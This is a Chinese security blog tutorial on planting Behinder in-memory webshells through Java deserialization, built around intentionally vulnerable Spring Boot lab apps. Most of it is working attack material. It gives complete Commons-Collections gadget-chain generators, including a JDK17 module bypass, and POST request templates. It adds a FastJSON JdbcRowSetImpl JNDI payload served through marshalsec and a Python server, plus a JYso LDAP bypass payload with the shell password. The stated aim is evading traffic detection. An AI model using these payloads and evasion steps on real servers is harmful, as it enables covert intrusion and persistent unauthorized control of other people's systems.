如何通过反序列化进行打马

admin 2025年6月18日20:29:32评论0 views字数 14894阅读49分38秒阅读模式

文章作者:先知社区(大*门)

文章来源:https://xz.aliyun.com/news/17364

为什么要打马

现在很多反序列化的复现文章,都是以 弹计算器 为复现成功的证据

弹计算器本质上就是执行命令,也就是相当于拿到别人的shell了

但是站在攻击者的视角直接以命令执行的方式攻击是不会知道命令执行的结果,因为结果是在服务器上呈现的

所以很自然而然想到通过命令执行来进行反弹shell来进行攻击

但到今天的这种攻防环境下,反弹shell的流量特征肯定会被设备检测到,那为了规避检测就进行内存马的注入

当然直接注入cmd内存马,流量肯定也会被设备检测到,那么如果注入冰蝎马,使用冰蝎的加密流量就能规避

直接反序列化打马

靶场环境搭建

创建Maven项目后修改依赖,创建一个SpringBoot2的工程,这边先采用经典的JDK8,后面有针对JDK17的SpringBoot3教程
<properties>    <maven.compiler.source>8</maven.compiler.source>    <maven.compiler.target>8</maven.compiler.target>    <!-- Spring Boot 版本 -->    <spring-boot-dependencies.version>2.7.2</spring-boot-dependencies.version></properties>
<dependencies>    <dependency>        <groupId>org.springframework.boot</groupId>        <artifactId>spring-boot-starter-web</artifactId>    </dependency>    <dependency>        <groupId>commons-collections</groupId>        <artifactId>commons-collections</artifactId>        <version>3.2.1</version>    </dependency></dependencies>
<dependencyManagement>    <dependencies>        <dependency>            <groupId>org.springframework.boot</groupId>            <artifactId>spring-boot-dependencies</artifactId>            <version>${spring-boot-dependencies.version}</version>            <type>pom</type>            <scope>import</scope>        </dependency>    </dependencies></dependencyManagement>
创建SpringBoot启动类
package org.example;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplicationpublic class DemoApplication {    public static void main(String[] args) {        SpringApplication.run(DemoApplication.class, args);    }}
创建Controller路由处理类
可以很明显的看到,这边就是接收 data 参数的值,然后base64解码后进行反序列化
package org.example.controller;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RestController;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;@RestControllerpublic class DemoController {    @PostMapping("/Behinder")    public String hello(String data) throws Exception {        byte[] decodedBytes = Base64.getDecoder().decode(data);        Object object = deserialize(decodedBytes);        System.out.println(object);        return "冰蝎马测试";    }    private Object deserialize(byte[] bytes) throws Exception{        try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);   // 别改             ObjectInputStream ois = new ObjectInputStream(bais)) {            return ois.readObject();        }    }}

准备序列化数据

为了演示成果,在依赖中加了CC链,这边就用CC链生成一下序列化数据

首先下载JMG工具,用来生成Tomcat的冰蝎马

https://github.com/pen4uin/java-memshell-generator/

因为我们用的SpringBoot技术栈,所以中间件为Tomcat

注意除了 AbstractTranslet 需要勾选上,其他的不选也行 ,至于为什么要勾上这个可以去看看CC链

如何通过反序列化进行打马
然后运行如下代码,生成冰蝎马的CC链恶意数据,只需要改动Class的文件路径就行了
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class Main {    public static void main(String[] args) throws Exception{        TemplatesImpl templates = new TemplatesImpl();        Class templatesClass = templates.getClass();        Field nameField = templatesClass.getDeclaredField("_name");        nameField.setAccessible(true);        nameField.set(templates,"Drunkbaby");        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");        bytecodesField.setAccessible(true);// ----------------------------------------------- Here -----------------------------------------------             byte[] evil = Files.readAllBytes(Paths.get("C://CSVUtil.class"));// ----------------------------------------------- Here -----------------------------------------------        byte[][] codes = {evil};        bytecodesField.set(templates,codes);        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");        tfactoryField.setAccessible(true);        tfactoryField.set(templates, new TransformerFactoryImpl());        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});        Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class), instantiateTransformer};        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        HashMap<Object, Object> hashMap = new HashMap<>();        Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five"));        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");        HashMap<Object, Object> expMap = new HashMap<>();        expMap.put(tiedMapEntry, "value");        lazyMap.remove("key");        Class<LazyMap> lazyMapClass = LazyMap.class;        Field factoryField = lazyMapClass.getDeclaredField("factory");        factoryField.setAccessible(true);        factoryField.set(lazyMap, chainedTransformer);        serialize(expMap);    }    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));        oos.writeObject(obj);    }}

打马

刚刚运行的代码会生成一个bin文件,我们把它base64编码一下
如何通过反序列化进行打马
然后把编码后的结果直接放到下面的数据包发过去就行了,记得base64编码后要进行URL编码,一定要做
POST /Behinder HTTP/1.1Host127.0.0.1:8080sec-ch-ua-mobile: ?0Sec-Fetch-Mode: navigateAccept-Language: zh-CN,zh;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Sec-Fetch-Dest: documentSec-Fetch-User: ?1sec-ch-ua: "Google Chrome";v="129""Not=A?Brand";v="8""Chromium";v="129"Accept-Encoding: gzip, deflate, br, zstdAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneUpgrade-Insecure-Requests: 1sec-ch-ua-platform: "Windows"Content-Type: application/x-www-form-urlencodeddata=[这边]

测试

不用管服务器的报错,直接根据JMG的提示用冰蝎连接就行了
如何通过反序列化进行打马

总结

这边其实就是一个CC链的反序列化,然后我们通过ClassLoader把冰蝎的逻辑导入内存中,形成内存马

JDK17问题解决

问题说明

以JDK17来复现上面的反序列化靶场会失败,因为JDK17需要保证有下面的这两种任意的情况才能够调用成功

调者所在模块和被调用者所在模块相同 或  调用者模块与Object类所在模块相同

那解决方式就是,我们就直接注入到目标的模块中就行了

解决流程

  • 首先用JDK17创建SpringBoot3应用

这个可以直接创建,我就不用Maven的形式创建了

  • 添加上CC链子
<dependency>    <groupId>commons-collections</groupId>    <artifactId>commons-collections</artifactId>    <version>3.2.1</version></dependency>

然后增加一个Controller——controller.DemoController

import jakarta.servlet.http.HttpServletRequest;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import java.io.ByteArrayInputStream;import java.io.ObjectInputStream;import java.util.Base64;@RestControllerpublic class DemoController {    @RequestMapping("/test")    public void start(HttpServletRequest request) {        try{            String payload=request.getParameter("shellbyte");            byte[] shell= Base64.getDecoder().decode(payload);            ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(shell);            ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);            objectInputStream.readObject();            objectInputStream.close();        }catch (Exception e){            e.printStackTrace();        }    }}
然后JMG生成冰蝎马,记得选择 jakarta 的监听器,高版本的包名全换了
如果有CC链,我们注入器的包名必须是 

org.apache.commons.collections.functors 的子类

然后勾选上 ByPass JDK Module

如何通过反序列化进行打马
在测试类中新建一个攻击类,进行生成恶意序列化数据,可以直接运行,会输出base64后的数据
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import sun.misc.Unsafe;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.invoke.MethodHandles;import java.lang.reflect.Field;import java.net.URLEncoder;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Main{    public static void main(String[] args) throws Exception{        patchModule(Main.class);        String shellinject="[JMG生成数据]";             // 只需要改这个就行了        byte[] data=Base64.getDecoder().decode(shellinject);        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(MethodHandles.class),                new InvokerTransformer("getDeclaredMethod"new Class[]{String.class, Class[].class}, new Object[]{"lookup"new Class[0]}),                new InvokerTransformer("invoke"new Class[]{Object.class, Object[].class}, new Object[]{nullnew Object[0]}),                new InvokerTransformer("defineClass"new Class[]{byte[].class}, new Object[]{data}),                new InstantiateTransformer(new Class[0], new Object[0]),                new ConstantTransformer(1)        };        Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, transformerChain);        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");        Map expMap = new HashMap();        expMap.put(tme, "valuevalue");        innerMap.remove("keykey");        setFieldValue(transformerChain,"iTransformers",transformers);        System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(serialize(expMap))));    }    private static void patchModule(Class classname){        try {            Class UnsafeClass=Class.forName("sun.misc.Unsafe");            Field unsafeField=UnsafeClass.getDeclaredField("theUnsafe");            unsafeField.setAccessible(true);            Unsafe unsafe=(Unsafe) unsafeField.get(null);            Module ObjectModule=Object.class.getModule();            Class currentClass=classname.getClass();            long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));            unsafe.getAndSetObject(currentClass,addr,ObjectModule);        }catch (Exception e){            e.printStackTrace();        }    }    public static void setFieldValue(Object obj, String fieldName, Object value) {        try {            Field field = obj.getClass().getDeclaredField(fieldName);            field.setAccessible(true);            field.set(obj, value);        }catch (Exception e){            e.printStackTrace();        }    }    public static byte[] serialize(Object object) {        try {            ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();            ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);            objectOutputStream.writeObject(object);            objectOutputStream.close();            return byteArrayOutputStream.toByteArray();        }catch (Exception e){            e.printStackTrace();        }        return null;    }}
然后发包,博客返回包是500,但是我们200也是正常的
POST /test HTTP/1.1Host127.0.0.1:8080Sec-Fetch-User: ?1Accept-Encoding: gzip, deflate, br, zstdsec-ch-ua: "Chromium";v="130""Google Chrome";v="130""Not?A_Brand";v="99"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua-platform: "Windows"Sec-Fetch-Mode: navigatesec-ch-ua-mobile: ?0Upgrade-Insecure-Requests: 1Accept-Language: zh-CN,zh;q=0.9Sec-Fetch-Site: noneSec-Fetch-Dest: documentUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedshellbyte=[结果]
然后冰蝎连接
如何通过反序列化进行打马

Ldap打马

说明

LDAP相较于直接的反序列化,是需要反连的,最常见的两个漏洞就是FastJson和log4j2

我就使用了 1.2.24 这个版本的

因为后续都只需要修改Payload,而准备JNDI服务器等步骤都是差不多一样的

靶场环境搭建

  • 先按照原始配置搭建SpringBoot2
  • 导入新依赖
<dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.24</version></dependency>
修改SpringBoot启动项目
@SpringBootApplicationpublic class DemoApplication {    public static void main(String[] args) {        SpringApplication.run(DemoApplication.class, args);    }    @Bean    public HttpMessageConverters fastJsonHttpMessageConverters() {        FastJsonHttpMessageConverter fastConverter = new FastJsonHttpMessageConverter();        FastJsonConfig fastJsonConfig = new FastJsonConfig();        fastJsonConfig.setSerializerFeatures(SerializerFeature.PrettyFormat);        fastConverter.setFastJsonConfig(fastJsonConfig);        return new HttpMessageConverters((HttpMessageConverter<?>[]) new HttpMessageConverter[]{fastConverter});    }}
添加bean,作为反序列化的目标
public class User {    @JSONField    private String name;    @JSONField    private Integer age;    public String getName() {        return this.name;    }    public void setName(String name) {        this.name = name;    }    public Integer getAge() {        return this.age;    }    public void setAge(Integer age) {        this.age = age;    }}

修改 Controller

@Controllerpublic class DemoController {    @RequestMapping(value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"})    @ResponseBody    public Object getUser() {        User user = new User();        user.setName("Bob");        user.setAge(25);        return user;    }    @RequestMapping(value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"})    @ResponseBody    public Object setUser(@RequestBody User user) {        user.setAge(20);        return user;    }}
抓包访问
一般来说,主要的问题就集中在 application/json 这个里面
POST / HTTP/1.1Host: 127.0.0.1:8080Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36Sec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-User: ?1sec-ch-ua: "Google Chrome";v="129""Not=A?Brand";v="8""Chromium";v="129"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Content-Type: application/json{    "name":"haha",    "age":22}

攻击

模仿JMG生成的BCEL,写个Class出来进行注入
public class BehinderTest {    static {        try {            new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass("[JMG生成的BCEL]").newInstance();        }catch (Exception e){        }    }    publicstaticvoidmain(String[] args) {            // 不加这个生成不了Class文件        System.out.println("123");    }}
然后把这个BehinderTest这个类拿出来放到一个目录里面,然后Python开个HTTP服务
python -m http.server 4444
然后上传工具 marshalsec-0.0.3-SNAPSHOT-all.jar 搭建LDAP服务器,目标访问服务器端口7777,然后服务器转发到4444,最后获取到刚刚编译的这个恶意类 BehinderTest
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:4444/#BehinderTest" 7777
最后浏览器进行发包
{  "b":{    "@type":"com.sun.rowset.JdbcRowSetImpl",    "dataSourceName":"rmi://127.0.0.1:7777/BehinderTest",    "autoCommit":true  }}
冰蝎4连接成功
如何通过反序列化进行打马

高版本问题解决

这里的高版本就是JDK8的高版本了,JDK8U191往后就不能再想上面这样进行注入了,需要通过本地来绕过

这边就直接推荐JYSO这个工具   https://github.com/qi4L/JYso/

  • 监听
java -jar JYso-1.3.4.jar -j
  • 攻击Payload
ldap://127.0.0.1:1389/TomcatBypass/M-EX-MS-TFMSFromThread-bx
  • 冰蝎连接密码和请求头
# 浏览器访问 ?/qi4l这个目录p@ssw0rdRefererhttps://QI4L.cn/
  • 不过有限制,springboot版本不能太高,太高了这个本地的工厂类会被修复
如何通过反序列化进行打马

原文始发于微信公众号(乌雲安全):如何通过反序列化进行打马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月18日20:29:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何通过反序列化进行打马http://cn-sec.com/archives/4177555.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息